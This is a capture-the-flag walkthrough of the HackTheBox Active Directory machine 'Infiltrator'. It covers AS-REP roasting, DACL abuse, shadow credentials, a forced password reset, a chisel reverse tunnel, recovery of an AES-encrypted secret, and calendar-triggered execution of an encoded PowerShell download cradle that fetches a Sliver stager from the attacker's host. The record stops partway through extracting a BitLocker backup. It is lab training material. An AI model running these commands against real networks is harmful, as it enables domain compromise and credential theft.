Recon
PORT STATE SERVICE VERSION
53/tcp open tcpwrapped
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Infiltrator.htb
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-02 14:47:05Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
|_ssl-date: 2024-09-02T14:48:52+00:00; 0s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
15220/tcp open tcpwrapped
The nmap
scan has all the tell tale signs of an Active Directory Domain Controller. Within the scan result, on several occasions, I can find the FQDN of the machine dc01.infiltrator.htb
. As such I add both the FQDN and the domain to my /etc/hosts
file.
Alongside the components of a Domain Controller this machine is also exposing a webserver on port 80
.
Company Website
On a first glance the website looks rather benign and does not seem to have any user input fields or obvious software stack vulnerabilities.
Looking a bit further down on the website I find a listing of employees of the company. This list includes both their first and last names, which I can use to create a list of potential usernames.
This is a very important stepping stone to enumerate the environment further and find any potentially ASREP-roastable users.
To create this list I use the tool called username-anarchy
, which cloned from its Github repository.
$ cat loot/employees.txt
Firstname,Lastname
Kevin,Turner
Amanda,Walker
Marcus,Harris
Lauren,Clark
Ethan,Rodriguez
David,Anderson
Olivia,Martinez
$ ~/tools/username-anarchy/username-anarchy -i loot/employees.txt > loot/usernames.txt
AS-REP Roasting
I now have a large variety of potential usernames for each employee, which I have to narrow down even further. I do this through the user enumeration feature of kerbrute
.
$ ~/tools/kerbrute userenum --dc 10.129.177.15 -d infiltrator.htb loot/usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 09/02/24 - Ronnie Flathers @ropnop
2024/09/02 17:05:52 > Using KDC(s):
2024/09/02 17:05:52 > 10.129.177.15:88
2024/09/02 17:05:52 > [+] VALID USERNAME: k.turner@infiltrator.htb
2024/09/02 17:05:52 > [+] VALID USERNAME: a.walker@infiltrator.htb
2024/09/02 17:05:52 > [+] VALID USERNAME: m.harris@infiltrator.htb
2024/09/02 17:05:57 > [+] VALID USERNAME: l.clark@infiltrator.htb
2024/09/02 17:05:57 > [+] VALID USERNAME: e.rodriguez@infiltrator.htb
2024/09/02 17:06:01 > [+] VALID USERNAME: o.martinez@infiltrator.htb
2024/09/02 17:06:06 > [+] VALID USERNAME: d.anderson@infiltrator.htb
2024/09/02 17:06:09 > Done! Tested 105 usernames (7 valid) in 16.844 seconds
After cleaning up the list of valid usernames I proceed to search for ASREP-roastable users with the help of netexec
.
$ netexec ldap -u loot/usernames.txt -p '' -d infiltrator.htb --asreproast hashes.txt dc01.infiltrator.htb
SMB 10.129.177.15 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
LDAP 10.129.177.15 445 DC01 $krb5asrep$23$l.clark@INFILTRATOR.HTB:ef05582765ea18c23654ec8c1c0ac51f$5e6b481d9f3617386ed77e7b432702abd2741a72c6015a97691c6d61fb28f41f4af1b068f81a980a5ea85601880f6ad2ca41e0c9eeba3e8fe13099fd270bc00573df94503da57b50a22598f8c664d8d002bc9f53a2e3601c11062a7845e71c6cedb2f6fd522cb9fa635a3b912371e1d469287ac82ae3e2ced43181d1bc2742ca5bcd98cdd2ba63ff563f8efa23fa4b828d776eaafbfdd5db409e72d3edf4dd5cb53f5ec3d20b4f399329fe3e93559c54ca0cd63d61ca9edf5a9dc6de2d9bc8de849f0e227bf05182a15cbff103da655eef7452a45038e9414a3b932161894a6a747a92bc0299fb4b0a7c7d3e19b207298662
I get one hash back which belongs to the user l.clark
. The password for whom can be cracked using the rockyou.txt
wordlist and hashcat
.
$ hashcat -m 18200 hashes/clark.txt rockyou.txt --show
$krb5asrep$23$l.clark@INFILTRATOR.HTB:ef05582765ea18c23654ec8c1c0ac51f$5e6b481d9f3617386ed77e7b432702abd2741a72c6015a97691c6d61fb28f41f4af1b068f81a980a5ea85601880f6ad2ca41e0c9eeba3e8fe13099fd270bc00573df94503da57b50a22598f8c664d8d002bc9f53a2e3601c11062a7845e71c6cedb2f6fd522cb9fa635a3b912371e1d469287ac82ae3e2ced43181d1bc2742ca5bcd98cdd2ba63ff563f8efa23fa4b828d776eaafbfdd5db409e72d3edf4dd5cb53f5ec3d20b4f399329fe3e93559c54ca0cd63d61ca9edf5a9dc6de2d9bc8de849f0e227bf05182a15cbff103da655eef7452a45038e9414a3b932161894a6a747a92bc0299fb4b0a7c7d3e19b207298662:WAT?watismypass!
Password Spraying
While this turned out to be a basically fruitless endeavor the error messages, which netexec
returned gave me some insight about the users d.anderson
and m.harris
. Both accounts return STATUS_ACCOUNT_RESTRICTION
, which means some kind of restriction (e.g. enforcement of policy restrictions, blank passwords not allowed, limited sign-in times) is in place.
$ netexec smb -u loot/usernames.txt -p 'WAT?watismypass!' -d infiltrator.htb --continue-on-success dc01.infiltrator.htb
SMB 10.129.177.15 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.177.15 445 DC01 [-] infiltrator.htb\k.turner:WAT?watismypass! STATUS_LOGON_FAILURE
SMB 10.129.177.15 445 DC01 [-] infiltrator.htb\a.walker:WAT?watismypass! STATUS_LOGON_FAILURE
SMB 10.129.177.15 445 DC01 [-] infiltrator.htb\m.harris:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION
SMB 10.129.177.15 445 DC01 [+] infiltrator.htb\l.clark:WAT?watismypass!
SMB 10.129.177.15 445 DC01 [-] infiltrator.htb\e.rodriguez:WAT?watismypass! STATUS_LOGON_FAILURE
SMB 10.129.177.15 445 DC01 [-] infiltrator.htb\o.martinez:WAT?watismypass! STATUS_LOGON_FAILURE
SMB 10.129.177.15 445 DC01 [-] infiltrator.htb\d.anderson:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION
Bloodhound
Carrying on with the usual Active Directory information I employee the Bloodhound module of netexec
.
$ netexec ldap -u l.clark -p 'WAT?watismypass!' -d infiltrator.htb --bloodhound -c all --dns-server 10.129.177.15 dc01.infiltrator.htb
SMB 10.129.177.15 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
LDAP 10.129.177.15 389 DC01 [+] infiltrator.htb\l.clark:WAT?watismypass!
LDAP 10.129.177.15 389 DC01 Resolved collection methods: group, psremote, container, acl, trusts, localadmin, session, rdp, dcom, objectprops
[17:30:57] ERROR Unhandled exception in computer dc01.infiltrator.htb processing: The NETBIOS connection with the remote host timed out. computers.py:270
LDAP 10.129.177.15 389 DC01 Done in 00M 43S
LDAP 10.129.177.15 389 DC01 Compressing output into /home/kali/.nxc/logs/DC01_10.129.177.15_2024-09-02_173014_bloodhound.zip
The paths around l.clark
seem to be a dead end, but luckily I know that potentially d.anderson
and m.harris
have to same password with some additional restrictions.
From there I can see that d.anderson
has an interesting GenericAll ACL other the Marketing Digital
OU, which contains the user e.rodriguez
.
Following along this path I can than see that e.rodriguez
can than also add themselves to the Chief Marketing
group. That can force a password change of the user m.harris
, who is part of the Remote Management Users
group.
Password in Description
Given that the amount of users within the environment is on the low end I also take a look at each user manually and noticed that the user k.turner
has a password stored in their account description.
MATCH p = (u:User)
WHERE u.description IS NOT NULL
RETURN p
They turn out to currently be another dead end and the password is not their domain password either.
$ netexec smb 'infiltrator.htb' -u 'k.turner' -p 'MessengerApp@Pass!'
SMB 10.129.231.134 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.231.134 445 DC01 [-] infiltrator.htb\k.turner:MessengerApp@Pass! STATUS_LOGON_FAILURE
Foothold as m.harris
NTLM Hash - e.rodriguez
Similarly as in Rebound I can use dacledit.py
from Impacket to extend my GenericAll other the objects with the OU Marketing Digital
, which means I will have a GenericAll over e.rodriguez
.
To pull this of I first grab a TGT for d.anderson
with the help of getTGT.py
, as described below. From there I use dacledit.py
to write the desired FullControl ACL to the OU, all while specifying the that the ACL should be inherited.
$ getTGT.py 'infiltrator.htb/d.anderson:WAT?watismypass!'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Saving ticket in d.anderson.ccache
$ KRB5CCNAME=d.anderson.ccache dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip 10.129.177.15
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20240902-180406.bak
[*] DACL modified successfully!
As a next step I want to get the NTLM hash for e.rodriguez
. This step is somewhat up to personal preference and tools installed. I chose to get it through certipy-ad
, but a combination of bloodyAD
and PKINITtools
is also an option.
$ KRB5CCNAME=d.anderson.ccache certipy-ad shadow auto -u 'd.anderson@infiltrator.htb' -k -dc-ip 10.129.177.15 -account 'e.rodriguez' -target 'dc01.infiltrator.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'E.rodriguez'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '0f3ddfb3-4067-f6ff-8d35-ab7eabad399f'
[*] Adding Key Credential with device ID '0f3ddfb3-4067-f6ff-8d35-ab7eabad399f' to the Key Credentials for 'E.rodriguez'
[*] Successfully added Key Credential with device ID '0f3ddfb3-4067-f6ff-8d35-ab7eabad399f' to the Key Credentials for 'E.rodriguez'
[*] Authenticating as 'E.rodriguez' with the certificate
[*] Using principal: e.rodriguez@infiltrator.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'e.rodriguez.ccache'
[*] Trying to retrieve NT hash for 'e.rodriguez'
[*] Restoring the old Key Credentials for 'E.rodriguez'
[*] Successfully restored the old Key Credentials for 'E.rodriguez'
[*] NT hash for 'E.rodriguez': b02e97f2fdb5c3d36f77375383449e56
ForceChangePassword - m.harris
With the NTLM hash acquired I can proceed along my chosen path towards m.harris
. I do this by first getting a TGT as e.rodriguez
and than using said TGT with bloodyAD
to add myself to the group.
$ getTGT.py -hashes :b02e97f2fdb5c3d36f77375383449e56 'infiltrator.htb/e.rodriguez'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in e.rodriguez.ccache
$ KRB5CCNAME=e.rodriguez.ccache bloodyAD --host dc01.infiltrator.htb --dc-ip 10.129.3.166 -u e.rodriguez -k -d infiltrator.htb add groupMember 'CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB' 'e.rodriguez'
With this done I need get new TGT to make use of the new group membership. And now I use bloodyAD
again to set the password of m.harris
to a value of my choice.
$ getTGT.py -hashes :b02e97f2fdb5c3d36f77375383449e56 'infiltrator.htb/e.rodriguez'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in e.rodriguez.ccache
$ KRB5CCNAME=e.rodriguez.ccache bloodyAD --host dc01.infiltrator.htb --dc-ip 10.129.3.166 -u e.rodriguez -k -d infiltrator.htb set password 'm.harris' 'j1ndoshPASSWORD!'
Kerberos & winRM
The authentication with only username and password through evil-winrm
fails right away, which most likely related to the account restrictions. As such I first have to setup my /etc/krb5.conf
and grab a TGT for m.harris
.
The former is done by using this Python script found in Github Gist, which will generate a correct Kerberos config for me to use.
[libdefault]
default_realm = INFILTRATOR.HTB
[realms]
INFILTRATOR.HTB = {
kdc = dc01.infiltrator.htb
admin_server = dc01.infiltrator.htb
}
[domain_realm]
infiltrator.htb = INFILTRATOR.HTB
.infiltrator.htb = INFILTRATOR.HTB
With this setup I grab yet another TGT and successfully log into the machine through winRM.
$ getTGT.py 'infiltrator.htb/m.harris:j1ndoshPASSWORD!'
$ KRB5CCNAME=m.harris.ccache evil-winrm -r infiltrator.htb -i dc01.infiltrator.htb
Shell as winrm_svc
During the usual enumeration shenanigans I find the non-default software Output Messenger and Output Messenger Server installed on the machine. You can find this information through a plethora of ways, running processes, open ports or directories in the file system among others.
I found it while transferring tools other to the C:\ProgramData
directory.
Unintended Path
During the release week of this machine there was an unintended privilege escalation path through the running MySQL database. Poking around in
C:\ProgramData
might have lead you to this archiveC:\programdata\Output Messenger Server\temp\OutputMessengerMysql.zip
and subsequently the fileOutputMysql.ini
. There I found the password for theroot
MySQL database user. After forwarding the database port to my machine I could interact with the database as theroot
user. Since it was running asNT AUTHORITY/SYSTEM
I could read the root flag withLOAD_FILE
.
I also take a mental and literal note of the user home directories under C:\Users\
, which might come in handy later.
sliver@CLEAN_MATTRESS$ ls
C:\Users (9 items, 174 B)
=========================
drwxrwxrwx Administrator <dir> Tue Feb 20 04:06:20 -0700 2024
Lrw-rw-rw- All Users -> C:\ProgramData 0 B Sat Sep 15 00:28:48 -0700 2018
dr-xr-xr-x Default <dir> Mon Feb 19 04:55:44 -0700 2024
Lrw-rw-rw- Default User -> C:\Users\Default 0 B Sat Sep 15 00:28:48 -0700 2018
-rw-rw-rw- desktop.ini 174 B Sat Sep 15 00:16:48 -0700 2018
drwxrwxrwx M.harris <dir> Fri Aug 02 16:51:48 -0700 2024
drwxrwxrwx O.martinez <dir> Mon Feb 19 18:45:25 -0700 2024
dr-xr-xr-x Public <dir> Mon Dec 04 10:22:18 -0700 2023
drwxrwxrwx winrm_svc <dir> Sun Feb 25 08:25:26 -0700 2024
Port Forwarding
Based on the documentation of Output Messenger I have to access a couple of ports if I want to connect to this application.
As such I make use of chisel
to setup a SOCKS proxy, which will allow me to connect to all the necessary ports through proxychains
. Running those commands will open a SOCKS proxy on port 1080
on my Linux machine.
attacker@kali$ ./chisel server --port 31338 --reverse
m.harris@infiltrator.htb$ ./chisel.exe client 10.10.14.117:31338 R:socks
While there is a Linux version of the app thanks to little (and later literal within Output Messenger) hints I decide to stick to the Windows version. Since I cannot connect to the HTB VPN from two machines at the same time I use SSH local port forwarding to forward the local SOCKS proxy from my Kali to my Windows VM.
attacker@windows$ ssh.exe -L 10800:127.0.0.1:1080 kali@
In the Windows VM I than install the Output Messenger client and the trial version of Proxifier. In the latter I configure my forwarded SOCKS proxy and activate the default rule to forward all traffic to localhost
through the SOCKS proxy.
Output Messenger
When starting the Output Messenger (OM) Client for the first time I specify the server of 127.0.0.1:14121
. But than leaves me with the question for a valid credential. Going all the way back to Password in Description I remember the so far worthless password for k.turner
. This was indeed their OM password, which allows me to successfully login.
l.clark
The credential
l.clark:WAT?watismypass!
also works, you can also see the Wall, but the additional context from the developer is missing.
Residing in the left sidebar are several tools, which I will user through the course of the machine to become Domain Administrator. But right now as k.turner
the Wall “message board” hold the most valuable information.
One message there is related to the previously exploit ASREP-roast describing that the security is aware and it seems I attacked the company just in time.
The other message gives an update on an in-house developed tool called UserExplorer
and how it will be used. In the given demonstration k.turner
also leaks the OM password for m.harris
, which is D3v3l0p3r_Pass@1337!
.
General_Chat
If you chose to use OM from a Linux system the general chat will advise you to switch over to the Windows version. This is a very good idea since the Linux version is actually missing some crucial features, which I have to make use of later.
Admin Aug 22, 14:12
Hello everyone 😃
There have been some complaints regarding the stability of the "Output Messenger" application. In case you encounter any issues, please make sure you are using a Windows client. The Linux version is outdated.
Dev_Chat
The developer chat accessible to k.turner
give a bit more context about the UserExplorer
and also about a possible password stored encrypted within the application.
Dev_Chat
Admin Feb 19, 22:43 Hey team, we need a tool to retrieve user information from LDAP. We’ll call it UserExplorer.exe. It should fetch details like name, email, and phone. Any thoughts on how we can go about this?
M.harris Feb 19, 22:44 We can use the LDAP protocol with C or C#. I’ve implemented a decryption function using AES for the password.
Developer_01 Feb 19, 22:46 Great! Let’s establish a secure connection to the LDAP server, and use the provided credentials to search for user details.
Admin Feb 19, 22:46 Sounds good. What about user input? Can we make it user-friendly?
Developer_02 Feb 19, 22:48 We can take command-line arguments for the username, password, and searched username. Also added a default option for convenience.
M.harris Feb 19, 22:49 And if they choose the default option, the password is decrypted using AES. It’s secure and ensures password confidentiality.
Admin Feb 19, 22:49 Nice security measures. Can we handle potential errors gracefully?
Developer_01 Feb 19, 22:50 Absolutely. Exception handling is in place to manage errors like connection issues or invalid credentials.
Admin Feb 19, 22:50 Perfect! How about displaying the retrieved user details?
Developer_02 Feb 19, 22:51 User details are displayed if found, including name, email, telephone extension, department, and job title.
M.harris Feb 19, 22:51 Also, if the user is not found, we inform the user appropriately.
Admin Feb 19, 22:51 Excellent work, team! Keep me posted on the progress, and let’s aim for a robust tool. Thanks!
Developer_02 Feb 19, 22:52 Will do! We’ll update you soon.
M.harris Feb 19, 23:07 Hey team, our app is currently with the QA tester group for thorough testing. Any updates will be announced on our Output Wall. Stay tuned for progress!
M.harris Feb 19, 23:12 I tested it on myself with my creds, and it looks like it works fine. Let’s check other functions like -default
Developer_02 Feb 19, 23:17 That looks sleek! Love the command-line input options. How’s the decryption working for the password?
Developer_03 Feb 19, 23:18 Decryption using AES is working smoothly. Here’s a snapshot of the default option in action. User found. Details: Name: Jane Smith EmailID: jane.smith@example.com Telephone Extension: 1234 Department: IT Job Title: System Analyst
Admin Feb 19, 23:19 Great job, team! The app seems to be shaping up well. Any outstanding issues or final touches needed?
M.harris Feb 19, 23:20 We’re doing final testing, but so far, it’s looking good. Just polishing some error messages and ensuring smooth user experience.
Admin Feb 19, 23:22 Alright, just when you guys finish, send me the final version of the app! Have a great day.
OM as m.harris
Switching user accounts in Output Messenger and logging in as m.harris
with the leaked password. Going through the application I find a chat with the admin user, that has the aforementioned UserExplorer.exe
as a chat attachment.
Decompile UserExplorer.exe
Since the developers talked about C# I immediately throw the binary into dnSpy to see if it really is C# and decompile at the same time. The better way would be to check first using something like detect-it-easy ¯\_(ツ)_/¯.
The function DecryptString
does and some basic AES crypto and from the main()
I can gather the used key and cipher-text.
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
// Token: 0x02000002 RID: 2
public class Decryptor
{
// Token: 0x06000002 RID: 2 RVA: 0x00002058 File Offset: 0x00000258
public static string DecryptString(string key, string cipherText)
{
string text;
using (Aes aes = Aes.Create())
{
aes.Key = Encoding.UTF8.GetBytes(key);
aes.IV = new byte[16];
ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(cipherText)))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new StreamReader(cryptoStream))
{
text = streamReader.ReadToEnd();
}
}
}
}
return text;
}
}
using System;
using System.DirectoryServices;
// Token: 0x02000003 RID: 3
internal class LdapApp
{
// Token: 0x06000004 RID: 4 RVA: 0x0000213C File Offset: 0x0000033C
private static void Main(string[] args)
{
string text = "LDAP://dc01.infiltrator.htb";
string text2 = "";
string text3 = "";
string text4 = "";
string text5 = "winrm_svc";
string text6 = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=";
int i = 0;
while (i < args.Length)
{
string text7 = args[i].ToLower();
if (text7 != null)
{
if (!(text7 == "-u"))
{
if (!(text7 == "-p"))
{
if (!(text7 == "-s"))
{
if (!(text7 == "-default"))
{
goto IL_C2;
}
text2 = text5;
text3 = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", text6);
}
[...]
Decryptor
To decrypt the password I recycle some parts of the code to build my own decryptor in C#. You could “translate” it into any language of your choice, but I wanted to stick with the original language. I ran the final code on the website cs-core.
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
public class Decryptor
{
public static string DecryptString(string key, string cipherText)
{
string decryptedText;
using (Aes aes = Aes.Create())
{
aes.Key = Encoding.UTF8.GetBytes(key);
aes.IV = new byte[16]; // Assuming a zeroed IV for simplicity, though usually it's passed alongside the encrypted text.
ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(cipherText)))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
{
using (StreamReader reader = new StreamReader(cryptoStream))
{
decryptedText = reader.ReadToEnd();
}
}
}
}
return decryptedText;
}
public static void Main(string[] args)
{
string decrypted = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=");
Console.WriteLine("Decrypted text first round: " + decrypted);
string decrypted2 = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", "SKqwQk81tgq+C3V7pzc1SA==");
Console.WriteLine("Decrypted text second round: " + decrypted2);
}
}
The decryption actually has to run twice to get the actual password for winrm_svc
. This user is thankfully part of the Remote Management Users
group, which allows me to log in though winRM.
Decrypted text first round: SKqwQk81tgq+C3V7pzc1SA==
Decrypted text second round: WinRm@$svc^!^P
Shell as o.martinez
OM local files
OM stores a plethora of files about itself and the chat conversations of the user in the C:\Users\???\appdata\roaming\Output Messenger
directory. So while I am connected to machine as winrm_svc
through winRM I download the entire directory to my machine.
The OM.db3
file contains a lot information about the chats, messages and chat rooms of a user. There I find the room id for the chiefs marketing chat, which I so far had no access to. With this id I could potentially query the OM API to the contents of a chat room. For this work I still need an API key.
sqlite@OM.db3$ .tables
om_chatroom om_drive_files om_preset_message
om_chatroom_user om_escape_message om_reminder
om_custom_group_new om_hide_usergroup om_settings
om_custom_group_user_new om_notes om_user_master
om_custom_status om_notes_user om_user_photo
sqlite@OM.db3$ select * from om_chatroom;
1|General_chat|20240219160702@conference.com|General_chat||20240219160702@conference.com|1|2024-02-20 01:07:02.909|0|0||0|0|1||
2|Chiefs_Marketing_chat|20240220014618@conference.com|Chiefs_Marketing_chat||20240220014618@conference.com|1|2024-02-20 10:46:18.858|0|0||0|0|1||
OM as winrm_svc
Besides looking through the local files of OM I can also log in as winrm_svc
with the very same password. In the notes feature of OM I find an API key, hopefully for the OM API. This feature however does not work properly on Linux, which the hint in the general chat sort of alluded to.
lan_managment api key 558R501T5I6024Y8JV3B7KOUN1A518GG
API Access
After reading the documentation of the API I build this curl
command which will let me query the Chiefs Marketing chat room for a given time frame.
$ proxychains curl -H "API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG" "http://localhost:14125/api/chatrooms/logs?roomkey=20240220014618@conference.com&fromdate=2024/01/24&todate=2024/12/25"
The original output contained a lot of escaped Unicode characters and the likes so I had to clean it up a bit. Alternatively the keen eye might also spot the password at the very bottom of the output, without any extra steps. In any case the user o.martinez
readily shared their OM password in the chat room.
[...]
</div>
<div id='greybk'>
<span class='nickname'>O.martinez Says: </span>
<div class='msg_time'>02:09 AM</div>
<div class='bullet'><img src='/Temp/bullets.png' class='read' title='' /></div>
<div class='msg_body'>O.martinez : m@rtinez@1996!</div>
</div>
</div>"
HasSession
With the password I now login as o.martinez
and see that their calendar is actually populated with some events (ignore the extra event on 31.10.2024, I took this screenshot a bit too late). In the Bloodhound graph for o.martinez
I also see that they have an active session on DC01
. which leads me to believe that they might have OM opened. This is supported by the fact the they are the one of the few users that are shown as idle instead of offline.
During an earlier look at the calendar I noticed that this is rather dangerous calendar, because you can not only create meetings. but also visit websites or run applications at a predetermined time. So to get a shell as o.martinez
I am going to create a new Run Application events, which will execute a Sliver stager. Since I went and did the intended path a few weeks after the original release Day Light Savings time caused a minor inconvenience. As such I created multiple events ranging from zero to two hours into the future, with varying minutes. This allowed me to infer the correct time based on the HTTP GET request to my Python webserver, where my Sliver loader was stored.
Since the file I want to run has to be present on my Windows VM and DC01
I create an empty .bat
file at the same exact location. The file will run an encoded Powershell command to get me a Sliver session. After waiting a few minutes I am greeted by a new Sliver session as o.martinez
.
@echo off
powershell.exe -ep bypass -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADEAMQA3ADoAOAAwADAAMAAvAHAAYQByAGEAYwBoAHUAdABlAC4AcABzADEAJwApAA==
Access to lan_managment
Once again I download the OM directory of a compromised user (o.martinez
) through Sliver. In the received files I find a packet capture named network_capture_2024.pcapng
.
Network Forensics
I load the .pcapng file into WireShark and take a look at the traffic. After a first glance the captured HTTP traffic seems to be the most promising lead. Following a HTTP stream and incrementing the stream number I find multiple key pieces of information.
The first finding is a very weak password passed to an application running at 192.168.1.106:5000
. From the HTML in the subsequent streams I can gather that this password is the default password for the file sharing application.
POST /login HTTP/1.1
Host: 192.168.1.106:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.1.106:5000
Connection: keep-alive
Referer: http://192.168.1.106:5000/
Upgrade-Insecure-Requests: 1
authorization=securepassword
After that stream I also see that the user is viewing their stored files and one of them is a BitLocker backup. Since the are getting the actual file the HTTP response contains the file contents.
Going through the manual file carving process (view data as Raw and convert From Hex
in e.g. Cyberchef) I extract the backup.
GET /view/raw/BitLocker-backup.7z HTTP/1.1
Host: 192.168.1.106:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.106:5000/view/BitLocker-backup.7z
Cookie: session=eyJhdXRob3JpemF0aW9uIjoic2VjdXJlcGFzc3dvcmQifQ.ZdkzzA.K3sT3Ai7Sa9zWQDts-DMTRfp39Y
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.1
Date: Sat, 24 Feb 2024 00:09:54 GMT
Content-Disposition: inline; filename=BitLocker-backup.7z
Content-Type: application/octet-stream
Content-Length: 209327
Last-Modified: Sat, 24 Feb 2024 00:09:29 GMT
Cache-Control: no-cache
ETag: 1708733369.3893352-209327-979573855
Date: Sat, 24 Feb 2024 00:09:54 GMT
Vary: Cookie
Connection: close
7z....
The user later did in fact change their default password and based on the password, I can assume that the user is o.martinez. Given that they readily shared their OM password I can assume that they probably reused this password elsewhere.
POST /api/change_auth_token HTTP/1.1
Host: 192.168.1.106:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.106:5000/files
Authorization: b0439fae31f8cbba6294af86234d5a28
new_auth_token: M@rtinez_P@ssw0rd!
Origin: http://192.168.1.106:5000
Connection: keep-alive
Cookie: session=eyJhdXRob3JpemF0aW9uIjoic2VjdXJlcGFzc3dvcmQifQ.ZdkzzA.K3sT3Ai7Sa9zWQDts-DMTRfp39Y
Content-Length: 0
Bitlocker Backup
The extracted Bitlocker backup is password protected so I first have to brute-force the password. I chose bruteforce since this seemed to be the most logical step. o.martinez
did hint at how her passwords are created in one of the chats, but the explanation left too much room for interpretation.
O.Martinez & winrm_svc chat
O.martinez I’m getting random website pop-ups on my desktop every day at 09:00 AM. I suspect there’s an issue with the app
**winrm_svc ** Feb 20, 01:28 Thanks for bringing this to our attention. To investigate further, could you let me know if anyone else has access to your account? Also, have you shared your password or noticed any suspicious activity?
O.martinez Feb 20, 01:28 I haven’t shared my password. No one else should have access. I’m concerned about unauthorized access.
winrm_svc Feb 20, 01:29 Let’s secure your account. Can you check if there’s anyone logged in using your account? Additionally, consider changing your password. Do you use a strong password, or is it based on any recognizable pattern?
O.martinez Feb 20, 01:30 idk My password is a combination of my name and birth year, like username + bithday which is 1999!!
winrm_svc Feb 20, 09:57 Understood. Have you shared your password with anyone, or is it used in any shared group? Any particular group or individual you’ve granted access?
O.martinez Feb 20, 09:58 I haven’t shared my password with anyone except the Chiefs_Marketing_chat group. Could it be related to that?
$ 7z x Bitlocker-backup.7z
7-Zip 24.06 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-05-26
64-bit locale=C.UTF-8 Threads:128 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 209327 bytes (205 KiB)
